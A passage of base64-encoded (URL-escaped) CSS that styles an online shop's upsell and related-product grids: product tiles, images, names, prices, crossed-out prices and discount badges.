GlhbGl6ZWQ%2BLnByb2R1Y3QtaXRlbXMgewogICAgICAgICAgICAgICAgICAgICBtYXJnaW46MCAtMTVweAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0sLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbSB7CiAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiBjYWxjKDEwMCUvNCAtIDUwcHgpOwogICAgICAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMCAyNXB4CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHsKICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0sLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbSB7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjowIDE1cHg7CiAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiBjYWxjKDEwMCUvMiAtIDMwcHgpCiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tcGhvdG8sLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1waG90bywud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvIHsKICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4CiAgICAgICAgICAgICAgICAgICAgIHdpZHRoOjEwMCU7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvIC5wcm9kdWN0LWltYWdlLWNvbnRhaW5lciwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvIC5wcm9kdWN0LWltYWdlLWNvbnRhaW5lciwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvIC5wcm9kdWN0LWltYWdlLWNvbnRhaW5lciwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1waG90byAucHJvZHVjdC1pbWFnZS1jb250YWluZXIgewogICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJSAhaW1wb3J0YW50CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLXBob3RvIC5wcm9kdWN0LWltYWdlLWNvbnRhaW5lciBpbWcsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1waG90byAucHJvZHVjdC1pbWFnZS1jb250YWluZXIgaW1nLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tcGhvdG8gLnByb2R1Y3QtaW1hZ2UtY29udGFpbmVyIGltZywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1waG90byAucHJvZHVjdC1pbWFnZS1jb250YWluZXIgaW1nIHsKICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICAgICAgICAgICBvYmplY3QtZml0OiBjb250YWluCiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWluZm8sLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1pbmZvLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0taW5mbywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1pbmZvIHsKICAgICAgICAgICAgICAgICAgICAgZ2FwOiAxNXB4CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC5wcm9kdWN0LWl0ZW1zIC5wcm9kdWN0LWl0ZW0gLml0ZW0taW1nLWJveHsKICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2Y0ZjFmMTsKICAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAzMjdweDsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMsLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgewogICAgICAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXIKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAucHJvZHVjdC1pdGVtLW5hbWUsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5wcm9kdWN0LWl0ZW0tbmFtZSwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLnByb2R1Y3QtaXRlbS1uYW1lLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLnByb2R1Y3QtaXRlbS1uYW1lIHsKICAgICAgICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgICAgICAvKiAgICBoZWlnaHQ6IDM0cHg7Ki8KICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIDAgMjBweDsKICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMHB4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLnByb2R1Y3QtaXRlbS1uYW1lIC5wcm9kdWN0LWl0ZW0tbGluaywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLnByb2R1Y3QtaXRlbS1uYW1lIC5wcm9kdWN0LWl0ZW0tbGluaywud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLnByb2R1Y3QtaXRlbS1uYW1lIC5wcm9kdWN0LWl0ZW0tbGluaywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5wcm9kdWN0LWl0ZW0tbmFtZSAucHJvZHVjdC1pdGVtLWxpbmsgewogICAgICAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE1MCU7CiAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uMDExZW07CiAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjNTE1NzU5OwogICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogJ21vdGhlcmNhcmVfMjAyMC1yZWd1bGFyLXdlYmZvbnQnOwogICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jawogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3gsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3gsLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3gsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IHsKICAgICAgICAgICAgICAgICAgICAgZmxleC1ncm93OiAxOwogICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogZmxleC1lbmQ7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXgKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3gsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94LC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IHsKICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOwogICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICAgICAgICAgICBmbGV4LWZsb3c6IHdyYXA7CiAgICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXIKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLmNyb3NzZWQtcHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAuY3Jvc3NlZC1wcmljZSwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5jcm9zc2VkLXByaWNlLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5jcm9zc2VkLXByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAub2xkLXByaWNlLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLm9sZC1wcmljZSwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5vbGQtcHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLm9sZC1wcmljZSB7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMCA1cHg7CiAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbi1jb2xvcjogIzUxNTc1OTsKICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcgogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAuY3Jvc3NlZC1wcmljZSAucHJpY2UtY29udGFpbmVyIC5wcmljZSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5jcm9zc2VkLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLmNyb3NzZWQtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLmNyb3NzZWQtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5vbGQtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAub2xkLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLm9sZC1wcmljZSAucHJpY2UtY29udGFpbmVyIC5wcmljZSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAub2xkLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlIHsKICAgICAgICAgICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsOwogICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxMjAlOwogICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzUxNTc1OQogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAuZGlzY291bnQtcGVyY2VudCwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5kaXNjb3VudC1wZXJjZW50LC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLmRpc2NvdW50LXBlcmNlbnQsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLmRpc2NvdW50LXBlcmNlbnQgewogICAgICAgICAgICAgICAgICAgICBvcmRlcjogMzsKICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2YyNDgyMjsKICAgICAgICAgICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsOwogICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNDAwOwogICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyNHB4OwogICAgICAgICAgICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogLS4wMTFlbTsKICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDAgNHB4OwogICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogJ0FyaWFsJyAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogNXB4OwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAucHJpY2Utd2l0aC1kaXNjb3VudCAuc3BlY2lhbC1wcmljZSAucHJpY2UtY29udGFpbmVyIC5wcmljZSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5wcmljZS13aXRoLWRpc2NvdW50IC5zcGVjaWFsLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLnByaWNlLXdpdGgtZGlzY291bnQgLnNwZWNpYWwtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLnByaWNlLXdpdGgtZGlzY291bnQgLnNwZWNpYWwtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94IC5wcmljZS13aXRoLWRpc2NvdW50IC5ub3JtYWwtcHJpY2UgLnByaWNlLWNvbnRhaW5lciAucHJpY2UsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAucHJpY2Utd2l0aC1kaXNjb3VudCAubm9ybWFsLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3ggLnByaWNlLXdpdGgtZGlzY291bnQgLm5vcm1hbC1wcmljZSAucHJpY2UtY29udGFpbmVyIC5wcmljZSwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jYXJvdXNlbC1wcmljZS1ib3ggLnByaWNlLWJveCAucHJpY2Utd2l0aC1kaXNjb3VudCAubm9ybWFsLXByaWNlIC5wcmljZS1jb250YWluZXIgLnByaWNlLAogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAucHJpY2UgewogICAgICAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsKICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE1MCU7CiAgICAgICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtLjAxMWVtOwogICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzFlMWUxZTsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3g%2BLnByaWNlLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnVwc2VsbC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3g%2BLnByaWNlLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2Fyb3VzZWwtcHJpY2UtYm94IC5wcmljZS1ib3g%2BLnByaWNlLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNhcm91c2VsLXByaWNlLWJveCAucHJpY2UtYm94Pi5wcmljZSB7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDsKICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMTIwJTsKICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMxNjVjN2Q7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZgogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQgLnByb2R1Y3QtaXRlbS1kZXRhaWxzIC5jaGVjaywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCAucHJvZHVjdC1pdGVtLWRldGFpbHMgLmNoZWNrLC53aWRnZXQud2lkZ2V0LXVwc2VsbCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2hlY2ssLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkIC5wcm9kdWN0LWl0ZW0tZGV0YWlscyAuY2hlY2sgewogICAgICAgICAgICAgICAgICAgICBtYXJnaW4tdG9wOiAxNnB4CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHM